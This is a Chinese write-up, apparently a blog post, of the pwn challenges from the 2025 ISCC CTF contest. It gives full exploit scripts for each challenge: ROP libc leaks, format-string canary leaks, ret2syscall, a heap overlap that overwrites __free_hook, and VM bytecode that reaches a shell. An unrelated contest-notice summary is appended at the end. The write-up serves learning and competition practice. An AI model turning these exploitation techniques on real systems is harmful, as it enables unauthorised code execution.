2025 ISCC 擂台赛Pwn-wp(含附件)

前言

擂台赛的体验还是不错的,都是师傅们用心出的题目,但是为什么那么多vm pwn???

通过网盘分享的文件:2025ISCC擂台赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1y_zdFltMZmCxfxalS9EuCw?pwd=xidp 提取码: xidp

解出

能力有限,很多方法可能并不是最优解,如果有师傅有好的方法愿意分享的话我会非常感谢的

call

![[Pasted image 20250514105709.png]]

checksec查看程序保护,发现程序没有开启pie保护以及canary保护
![[Pasted image 20250514105743.png]]

程序存在明显的栈溢出
![[Pasted image 20250514105750.png]]

直接溢出打ROP泄露libc地址然后执行system("/bin/sh")即可
完整exp如下

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./call"
libc_path = './libc6_2.31-0ubuntu9.17_amd64.so'
ip = '101.200.155.151:12100'
# 1-远程 其他-本地

link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']

#---------------------初始化-----------------------------

#---------------------debug------------------------------

# 断点
cmd = """
    set follow-fork-mode parent\n
    """
bps = []
#---------------------debug-------------------------------
# pwndbg(0, bps, cmd)
pop_rdi_ret = 0x0000000000401273#: pop rdi; ret
pop_rsi_r_ret = 0x0000000000401271#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r_ret)
payload += p64(elf.got['write'])
payload += p64(0)
payload += p64(elf.plt['write'])
payload += p64(elf.sym['main'])
sdla("My name is\n", payload)

write_addr = uu64()
leak("write_addr")
libc_base = write_addr - libc.sym['write']  
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
sdla("My name is\n", payload)

ia()

![[Pasted image 20250516202743.png]]

vm_pwn

![[Pasted image 20250514105947.png]]

保护全开的一道vm pwn题
![[Pasted image 20250514110017.png]]

程序逻辑比较常规,放入deepseek也可以分析出大概,总之程序的大致逻辑就是先让用户输入一大段内容当做后续的指令来执行
本题相对简单不过多阐述逆向过程,主要在于使用gdb去调试,查看输入的值被移动到了什么地方,为了方便读者逆向下面提供我已经逆向出的结构体,导入IDA中即可使用

struct VMContext {
uint64_t regs[4];
uint64_t ip_offset;
uint64_t *rsp;
uint64_t *code_base;
uint64_t reserved;
uint64_t *rbp;
};

导入方法可以参考这篇文章:IDA技巧——结构体-软件逆向-看雪-安全社区|安全招聘|kanxue.com

各函数的分析结果如下:

sub_12D5 → vm_fetch_opcode // 从指令流中读取1字节操作码
sub_132C → vm_read_imm_qword // 从指令流读取8字节立即数(用于MOV等指令的立即数操作)
sub_1393 → vm_stack_push // 压栈操作(带栈溢出检查)
sub_1432 → vm_stack_pop   // 出栈操作(带栈溢出检查)

各个分支的分析结果如下

操作码指令名称行为描述
0x00MOV REG, IMM将立即数存入寄存器
0x01LOAD REG, [MEM]从内存加载数据到寄存器
0x02STORE [MEM], REG将寄存器值存入内存
0x03MOV REG1, REG2寄存器间数据传输
0x04CALL函数调用(压栈返回地址)
0x05POP REG弹栈到寄存器
0x06EXECUTE执行函数指针
0x07JMP IMM无条件跳转到指定地址
0x08RET从函数返回
0x09NOP空操作
0x0AADD REG, IMM寄存器加立即数
0x0BSUB REG, IMM寄存器减立即数
分析后的程序如下

![[Pasted image 20250514122609.png]]

![[Pasted image 20250514122644.png]]

![[Pasted image 20250514122738.png]]

![[Pasted image 20250514122749.png]]

这里先给出完整的exp,exp上面写出了我的利用过程以及每个选项的作用供大家理解分析

from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn2"
libc_path = './libc.so.6'
ip = '101.200.155.151:20000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent
    x/60gx $rebase(0x4000)
    heap
    """
# 断点
bps = [0x014FF]
#---------------------debug-------------------------------

def mov_imm(reg, imm):
    """操作码 0x00: 将 8 字节立即数存入寄存器"""
    """0x00, reg_idx, <8B立即数>"""
    return flat(p8(0), p8(reg, signed=True), p64(imm, signed=True))  

def load_ptr_reg(ptr_reg_addr, target_reg):
    """操作码 0x01: 寄存器间接加载 (src -> dst)"""
    """0x01, target_reg = *ptr_reg_addr"""
    return flat(
            p8(1),
            p8(ptr_reg_addr, signed=True),  # 允许为负数
            p8(target_reg, signed=True)
            )

def store_ptr_reg(reg, target_reg):
    """操作码 0x02: 寄存器间接存储 (src -> [dst])"""
    """0x02, *target_reg = reg"""
    return flat(p8(2), p8(reg), p8(target_reg))  # <bb + b → p8+p8+p8

def mov_reg1_reg2(reg1, reg2):
    """操作码 0x03: 寄存器间移动 (src -> dst)"""
    """0x03, reg2 = reg1"""
    return flat(p8(3), p8(reg1), p8(reg2))  # <bb + b → p8+p8+p8

def push(reg_idx):
    """操作码 0x04: 压栈"""
    """0x04, push reg; stack_rbp-0x8"""
    return flat(p8(4), p8(reg_idx))  # <bB → p8+p8

def pop(reg_idx):
    """操作码 0x05: 出栈"""
    """0x05, pop reg stack_rbp+0x8"""
    return flat(p8(5), p8(reg_idx))  # <bB → p8+p8

def call(reg_idx):
    """操作码 0x06: 调用寄存器指向的函数"""
    """call reg"""
    return flat(p8(6), p8(reg_idx))  # <bB → p8+p8

def jmp_reg(reg_idx):
    """操作码 0x07: 跳转寄存器指向的地址"""
    """0x07, jmp reg 但是对跳转的范围有限制,所以我们不使用他"""
    return flat(p8(7), p8(reg_idx))  # <bB → p8+p8

def vm_exit():
    """操作码 0x08: 虚拟机退出"""
    return p8(8)  # b → p8

def add(reg, imm):
    """操作码 0x0A: 寄存器加立即数"""
    return flat(p8(0xA), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

def sub(reg, imm):
    """操作码 0x0B: 寄存器减立即数"""
    return flat(p8(0xB), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

puts_offset = libc.sym['puts']
system_offset = puts_offset- libc.sym['system']
bin_sh_offset = next(libc.search(b'/bin/sh')) - puts_offset

leak("puts_offset")
leak("system_offset")
leak("bin_sh_offset")

# VM_list = 0x04060

pwndbg(1, bps, cmd)

payload = load_ptr_reg(-11, 1)
payload += sub(1, 0x78)
payload += load_ptr_reg(1, 0)
payload += load_ptr_reg(1, 2)
payload += add(0, bin_sh_offset)
payload += sub(4, system_offset)
payload += call(4)

put(payload)

sda("Enter bytecode: ", payload)

ia()

利用思路:

  1. 既然我们有call的功能,那么我们只需要让 reg0binsh地址 然后随便找个寄存器放入 system的地址 然后call一下就可以了
  2. 那么我们就需要知道libc的基地址然后再libc中利用偏移找到binsh地址和system地址就可以了
  3. 想要知道libc基地址其实我们也很容易想到就是去got表里面拿,那么我们想要知道got表的地址就需要知道程序基地址
  4. 经过调试我们可以注意到 0x04008 off_4008 里面存放的指针是指向他自己的
    ![[Pasted image 20250517132644.png]]

![[Pasted image 20250517132716.png]]

![[Pasted image 20250517133432.png]]

  1. 那么我们就可以利用这个地址获得got表地址,然后通过got表中的内容得到libc地址,再通过libc地址得到我们需要的binsh和system,最后call一下就拿到shell了

exp的利用过程如下

  1. 执行 load_ptr_reg(-11, 1)sub(1, 0x78)
    先将这个地址放入到reg1寄存器中,然后通过加减把它变成指向puts的got表
    ![[Pasted image 20250517132951.png]]

![[Pasted image 20250517133606.png]]

![[Pasted image 20250517133020.png]]

  1. 然后通过 load_ptr_reg(1, 0) load_ptr_reg(1, 2) 两条指令将 puts_addr 放入 reg0reg2
  2. add(0, bin_sh_offset) sub(2, system_offset) 通过对于偏移量的加减分别计算出 binshsystem地址
  3. 直接 call~~~~~~~~ 拿到shell

![[Pasted image 20250516204106.png]]

Enc++

![[Pasted image 20250517134925.png]]

导入sig恢复部分的符号表
下面是导入 libc6_2.35-0ubuntu3_amd64.sig 后的main函数的样子
![[Pasted image 20250517140922.png]]

漏洞点在main函数中存在格式化字符串的漏洞,sub_406142函数中存在read溢出
![[Pasted image 20250517141401.png]]

![[Pasted image 20250517141315.png]]

经过分析程序的大致逻辑就是说让用户输入,然后用户输入的东西会经过解密,然后成为printf的参数,在下面符合条件 qword_932170 == 1 就可以进入sub_406142函数中利用read溢出打ret2syscall

那么其实逻辑也很简单,就是分析这个加密解密的过程,我们自己将加密的东西输入让程序解密,以此来利用格式化字符串来泄露canary和修改qword_932170全局变量

这里可能疑惑的点是为什么有canary,明明checksec显示是没有的,可能是因为老版本的checksec是利用函数名字来判断有无canary的,符号表被去掉后就分析不出来了
![[Pasted image 20250517141735.png]]

分析可知加密逻辑如下:

程序对接收到的数据进行Base64解码后,按照以下规范解析加密参数: 
1.32字节作为AES-256-CBC加密密钥(KEY) 
2. 紧随的16字节作为初始化向量(IV) 
3. 剩余部分作为待解密的密文(miwen)

程序可以循环两次,一次用于泄露canary,以此用于修改qword_932170
![[Pasted image 20250517144240.png]]

在IDA中查看字符串可以发现/bin/sh,这像是一个提示,和/bin/sh 一起的还有我们解密所需要的密钥和向量
![[Pasted image 20250517144813.png]]

![[Pasted image 20250517144844.png]]

用AI分析跑出一个加密脚本

# AES configuration
AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"

def aes_encrypt(plaintext: bytes) -> bytes:
	cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
	padding = b"\x00" * (16 - len(plaintext) % 16)
	ciphertext = cipher.encrypt(plaintext + padding)
	return base64.b64encode(ciphertext).decode('utf-8')

运行到 call printf 处查看栈内存,题目已经将 qword_932170的地址 放入栈中以此来减少我们的难度
![[Pasted image 20250517150721.png]]

然后就是非常简单的使用格式化字符串泄露和修改随后打read溢出的ret2syscall

完整exp如下:

from xidp import *
from Crypto.Cipher import AES
from base64 import b64encode
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:21000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = [0x406262, 0x4062A2]
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

pop_rax_ret = 0x0000000000411dc6#: pop rax; ret;
pop_rdi_ret = 0x000000000040788b#: pop rdi; ret;
pop_rsi_ret = 0x000000000040797b#: pop rsi; ret;
pop_rdx_ret = 0x00000000004bc453#: pop rdx; ret;
syscall_ret = 0x0000000000707d66#: syscall; ret;
syscall = 0x00000000004c2e22#: syscall;
binsh = 0x00000000007c70c2#: /bin/sh

# pwndbg(0, bps, cmd)

AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"


def aes_encrypt(plaintext: bytes) -> bytes:
	cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
	padding = b"\x00" * (16 - len(plaintext) % 16)
	ciphertext = cipher.encrypt(plaintext + padding)
	combined = AES_KEY + AES_IV + ciphertext
	return base64.b64encode(combined).decode('utf-8')

# pwndbg(0, bps, cmd)

# 泄露canary
payload = aes_encrypt(b"%15$p_aaaa")
sdla("please input your date:", payload)
canary = eval(io.recvuntil(b'_aaaa', drop=True))
leak("canary")

# 修改qword_932170
payload = aes_encrypt(b"%c%7$n")
sdla("please input your date:", payload)


payload = b'a'*40
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)
sdl(payload)

ia()

![[Pasted image 20250517153059.png]]

好累啊,感觉快燃尽了

book_manager

![[Pasted image 20250517153237.png]]

漏洞点在 main->search->sub_402262main->display
这里有off-by-one漏洞,可以通过v12覆盖掉canary结尾的\x00以此使得printf能够泄露canary的值
![[Pasted image 20250517155015.png]]

在display中将输出的数据都放入的v22和v23中,但是没有检查,所以我们可以通过大量构造book结构体以此来达成溢出
![[Pasted image 20250517163513.png]]

这里 a1 其实是一个结构体,需要修复一下的,具体如下,修复后就如上图所示了

struct BookInfo
{
  int ID;
  char Title[50];
  _BYTE gap36[2];
  __int64 TitleLength;
  char Author[30];
  __int64 AuthorLength;
  char Publisher[40];
  __int64 PublisherLength;
};

所以我们的利用方法就是,先使用search来获得canary,然后利用add创建多个book用于溢出
得到canary后构造携带ROP的books,计算好溢出,使用save保存后调用display函数就可以溢出打ROP
我们构造的ROP里面是调用load函数去打开flag文件并且输出

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./book_manager"
libc_path = ''
ip = '101.200.155.151:23000'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    hex 0x04E9580 2000\n
    """
# 断点
bps = [0x0040345B]
#---------------------debug-------------------------------
def add(title = b'a'*50, author = b'a'*30, publisher = b'a'*40):
    sdla(b'>', b'1')
    sda(b'Title', title)
    sda(b'Author', author)
    sda(b'Publisher', publisher)
    
def dele(idx):
    sdla(b'>', b'2')
    sdla(b'Enter book ID to delete: ', str(idx))

def modify(idx):
    sdla(b'>', b'3')
    sdla(b'Please choose: ', str(1))
    sdla(b'Enter book ID to modify: ', str(idx))

def search(name):
    sdla(b'>', b'4')
    sdla(b'Please choose: ', str(2))
    sdla(b'Enter author name: ', name)

def display():
    sdla(b'>', b'5')

def save():
    sdla(b'>', b'6')

def sort():
    sdla(b'>', b'7')

def load():
    sdla(b'>', b'8')

flag_addr = 0x4e9b2d # 因为程序没有pie所以这个是固定地址
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43

# 这里使用一个search函数来泄露canary
sdla(b'>', b'4')
sdla(b'choose', b'2')
sda(b'name', b'a' * 40)
rcu(b'a'*40 + b'\n')
canary = u64(rc(7).ljust(8, b'\x00')) << 8
leak("canary")

# 多次填充
for i in range(8):
    add(b'a'*50, b'b'*30, b'c'*40) # 一个为0x99
add(b'a'*12, b'b'*1, b'c'*3)

# pwndbg(0, bps, cmd)
payload = p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
# add(payload, b'a'*20 + b'\x00./flag\x00\x00\x00', b'a'*40) #本地
add(payload, b'a'*20 + b'\x00/flag\x00\x00\x00\x00', b'a'*40) #远程

save() # 保存一下
display() # 会将books的内容以及标题放入栈中,没有进行检测,存在溢出

# pwndbg(0, bps, cmd)  

ia()

![[Pasted image 20250517161419.png]]

感受是一道很创新的题目呢

迷途之子

![[Pasted image 20250517165854.png]]

里面有一个迷宫游戏,用AI写一个迷宫脚本

from collections import deque
from typing import List, Tuple, Optional

class MazeNavigator:

    MAZE_SIZE = 256
    TARGET_FLAG = (0x80, 0x80)
    def __init__(self, maze_data: List[int]):
        self.maze = self._normalize_maze(maze_data)
        self.movement = [  # 移动方向配置
            {'dx': 0, 'dy': 1, 'code': 'd'},  # 右
            {'dx': 1, 'dy': 0, 'code': 's'},  # 下
            {'dx': 0, 'dy': -1, 'code': 'a'}, # 左
            {'dx': -1, 'dy': 0, 'code': 'w'}  # 上
        ]

    def _normalize_maze(self, data: List[int]) -> List[List[int]]:
        if isinstance(data[0], int):
            return [data[i*self.MAZE_SIZE:(i+1)*self.MAZE_SIZE]
                   for i in range(self.MAZE_SIZE)]
        return data
        
    def _update_flags(self, move: str, curr_flags: Tuple[int, int]) -> Tuple[int, int]:
        f1, f2 = curr_flags
        if move == 'a':
            return (max(0, f1 - 1), f2)
        if move == 'd':
            return (min(0xFF, f1 + 1), f2)
        if move == 'w':
            return (f1, max(0, f2 - 1))
        if move == 's':
            return (f1, min(0xFF, f2 + 1))
        return curr_flags

    def find_optimal_path(self) -> Optional[str]:
        State = Tuple[int, int, List[str], int, int]
        initial_state: State = (0, 0, [], 0x00, 0x00)
        bfs_queue = deque([initial_state])
        visited_states = set()
        while bfs_queue:
            x, y, path, flag_a, flag_d = bfs_queue.popleft()
            # 终止条件检查
            if (flag_a, flag_d) == self.TARGET_FLAG:
                return ''.join(path)
            # 状态去重
            state_key = (x, y, flag_a, flag_d)
            if state_key in visited_states:
                continue
            visited_states.add(state_key)
            # 遍历移动方向
            for direction in self.movement:
                new_x = x + direction['dx']
                new_y = y + direction['dy']
                # 边界和障碍检查
                if not (0 <= new_x < self.MAZE_SIZE and 0 <= new_y < self.MAZE_SIZE):
                    continue
                if self.maze[new_x][new_y] != 0:
                    continue
                # 更新状态
                new_flags = self._update_flags(direction['code'], (flag_a, flag_d))
                new_path = path + [direction['code']]
                bfs_queue.append( (new_x, new_y, new_path, *new_flags) )
        return None

if __name__ == '__main__':
    # 初始化迷宫数据
    maze_data = []  # 这里填充实际迷宫数据
    navigator = MazeNavigator(maze_data)
    result_path = navigator.find_optimal_path()
    if result_path:
        print(f"成功生成路径,长度:{len(result_path)}")
        try:
            with open("maze_solution.txt", "w") as output_file:
                output_file.write(result_path)
        except IOError as e:
            print(f"写入文件失败:{str(e)}")
    else:
        print("未找到可行路径")

得到结果,需要在最后加上一个q用于退出
![[Pasted image 20250517172732.png]]

解决这个迷宫之后我们就可以得到read函数的地址,也就是白送一个libc地址
![[Pasted image 20250517172847.png]]

然后下面就是堆题
![[Pasted image 20250517172914.png]]

但是这个堆本身没有什么漏洞,漏洞在迷宫当中,迷宫中的选项 s 会将user[0]也就是第一个堆块的低字节的第三位+1,从此导致堆块发生重叠
![[Pasted image 20250517173052.png]]

执行 game("sq") 之前
![[Pasted image 20250517173453.png]]

![[Pasted image 20250517173534.png]]

执行 game("sq") 之后
在这里插入图片描述

我们可以观察到 0x55555556b2a0next指针0x000055555556b2d0 变成了 0x000055555556b3d0
这就是game中的漏洞,由此我们可以造成堆块重叠

完整exp如下:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn_patched"
libc_path = './libc.so.6'
ip = '101.200.155.151:22000'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    x/30gx $rebase(0x0014080)\n
    x/30gx $rebase(0x14070)\n
    """
# 断点
bps = [0x0017A0]
#---------------------debug-------------------------------
#----------------------heap_menu--------------------------
menu = ">>"  
def add(content = b"xidp"):  
    sdla(menu, str(1))  
    sda("Enter name (up to 24 chars):", content)  

def free(idx):  
    sdla(menu, str(2))  
    sda("Index:", str(idx))  

def edit(idx, content = "xidp"):  
    sdla(menu, str(3))  
    sdla("Index: ", str(idx))  
    sda("New name:", content)  

def game(payload):  
    sdla(menu, str(4))  
    sda("Game started! (WASD to move, Q to quit)", payload)
#--------------------------heap_menu--------------

game_payload = "ddsdddssdddddddsssdssddsdddssssddssssdssssddddddssdddsdsdsdssssssssddsssssddsssdsssssssssssddddssssddssssdsdssdssddssssssssssddddsssssdsddddsssdddddddsssdsssdddsdddsssssdsdsdddsddddsssssdssdddddsssssddddsdddsdsdddddddddddddsssdssssdddsdsddddddsddddddssdddsq"
  
add() # 这里需要创建一个初始chunk后续才能进入game中
game(game_payload)
read_addr = uu64()
leak("read_addr")
libc_base = read_addr - libc.sym['read']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak("libc_base")
leak("free_hook")
leak("system_addr")
leak("bin_sh")


for i in range(7):
    add()  

# 倒序释放将tcahcebins的0x30填满
for i in range(6, -1, -1):
    free(i)


# pwndbg(1, bps, cmd)  

# 这会修改usrs[0]的低三位+1,从而导致bins结构发生重叠
game("sq")
payload = p64(0) + p64(free_hook-0x8)
edit(6, payload)
add()
add()
add(p64(system_addr))

payload = p64(0) + b'/bin/sh\x00'
edit(6, payload)
# pwndbg(1, bps, cmd)
free(1)

ia()

在这里插入图片描述

mini pwn (赛后复现,感谢tw11ty师傅指导)

![[Pasted image 20250517174342.png]]

不是哥们,又是VM pwn???

程序开始时qword_40C0为1

![[1.png]]

![[2.png]]

Case5中有一个syscall,我们可以构造execve(“/bin/sh”, 0, 0),构造之前需要设置qword_40C0为0

![[3.png]]

在case3中,开始就会将qword_40C0设置为0, 随后会执行如下图字节码,
![[4.png]]

它将设置系统调用号为0,然后执行syscall,再自动执行case 4

![[5.png]]

Case4中,会判断v5 = *(qword_4060 + 4024) == 0;,通过判断结果来重新设置LOBYTE(qword_40C0) = !v5;在默认情况下qword_40C0会被设置为1,所以可以利用程序中的机器码unk_20B4 来构造read(0, (qword_4060 + 4024), 0x100)从而使得(qword_4060 + 4024) == 0;成立,使得v5为1,最终得到qword_40C0为0,随后就可以利用syscall来构造execve(“/bin/sh”, 0, 0),从而得到shell

抽象exp:

from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:24000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

opcodes = b''
operands = b''

def pop_reg0(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 0)
    operands += struct.pack("<Q", imm)
def pop_reg0_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 1)
    operands += struct.pack("<Q", imm)
def pop_reg1(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 2)
    operands += struct.pack("<Q", imm)
def pop_reg1_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 3)
    operands += struct.pack("<Q", imm)
def pop_reg2(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 4)
    operands += struct.pack("<Q", imm)
def pop_reg3_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 5)
    operands += struct.pack("<Q", imm)
def pop_reg3(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 6)
    operands += struct.pack("<Q", imm)

def push_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 2, 0)
def push_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 1)
def push_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 2, 2)
def push_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 3)
def push_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 2, 4)
def push_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 5)
def push_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 2, 6)
def xor_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 6, 0)
def xor_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 1)
def xor_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 6, 2)
def xor_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 3)
def xor_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 6, 4)
def xor_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 5)
def xor_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 6, 6)

def add_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 7, 0)
def add_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 1)
def add_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 7, 2)
def add_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 3)
def add_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 7, 4)
def add_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 5)
def add_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 7, 6)

def sub_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 8, 0)
def sub_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 1)
def sub_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 8, 2)
def sub_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 3)
def sub_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 8, 4)
def sub_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 5)
def sub_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 8, 6)
def flag():
    global opcodes
    opcodes += struct.pack("<b", 3)
def sys():
    global opcodes
    opcodes += struct.pack("<b", 5)

# 虽然上面定义了很多函数,但是实际用到的没几个
pop_reg0(0x3b)  
pop_reg1_8(0x8) # read(0, flag, 0x10)  --> reg1_8=0x10
push_reg3()  
pop_reg1(1)  
[add_reg1() for i in range(1014)]       # reg1=flag_addr
flag()
push_reg3()    
pop_reg0_8(1)
[add_reg0_8() for i in range(3)]
xor_reg1()
xor_reg1_8()
xor_reg2()
sys()
xor_reg3()
operands += b'/bin/sh\x00'
sdl(operands)
sdl(opcodes)
sdl(p64(0))

ia()

![[Pasted image 20250518234218.png]]

未解出

太多了,实在是打不动了,有空再复现吧,如果有师傅做出来下面我没有解出的题目非常欢迎来和我交流

命令执行器

复读机

安全云盘

Bash

内容概要:本文档为第22届信息安全与对抗技术竞赛(ISCC 2025)的通知。ISCC自2004年创办以来,已成功举办21届,是信息安全、密码学、网络安全等领域的重要赛事。本次竞赛分为三个赛段:线上选拔赛、线下初赛和线下决赛。线上选拔赛涵盖选择题、Web、逆向、Pwn、杂项和移动安全等多个类别,参赛者需在规定时间内提交flag。线下初赛和决赛将分别于2025年5月1日8:00至5月18日20:00举行,涉及选择题、解题类和攻防类比赛形式。竞赛评分标准包括选择题15%、解题类25%和攻防类60%,并设有详细的比赛规则和奖项设置。竞赛由信息安全与对抗技术实验室主办,提供官方网站和联系方式供参赛者查询。 适合人群:对信息安全、密码学、网络安全等领域感兴趣的高校学生、研究人员和从业人员。 使用场景及目标:①帮助参赛者提升信息安全领域的理论知识和技术能力;②促进信息安全领域的人才培养和技术交流;③推动信息安全技术的发展和应用。 其他说明:竞赛官网为[http://www.isclab.org.cn](http://www.isclab.org.cn),提供详细的竞赛规则、赛程安排和往届比赛资料。参赛者可通过邮箱iscc2004@163.com或QQ群1029907327、361578344获取更多信息。竞赛采用CTF(Capture The Flag)形式,分为解题类和攻防类两种比赛模式。解题类包括选择题、Web、逆向、Pwn、杂项和移动安全等题目类型,攻防类则模拟真实网络环境进行攻防演练。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值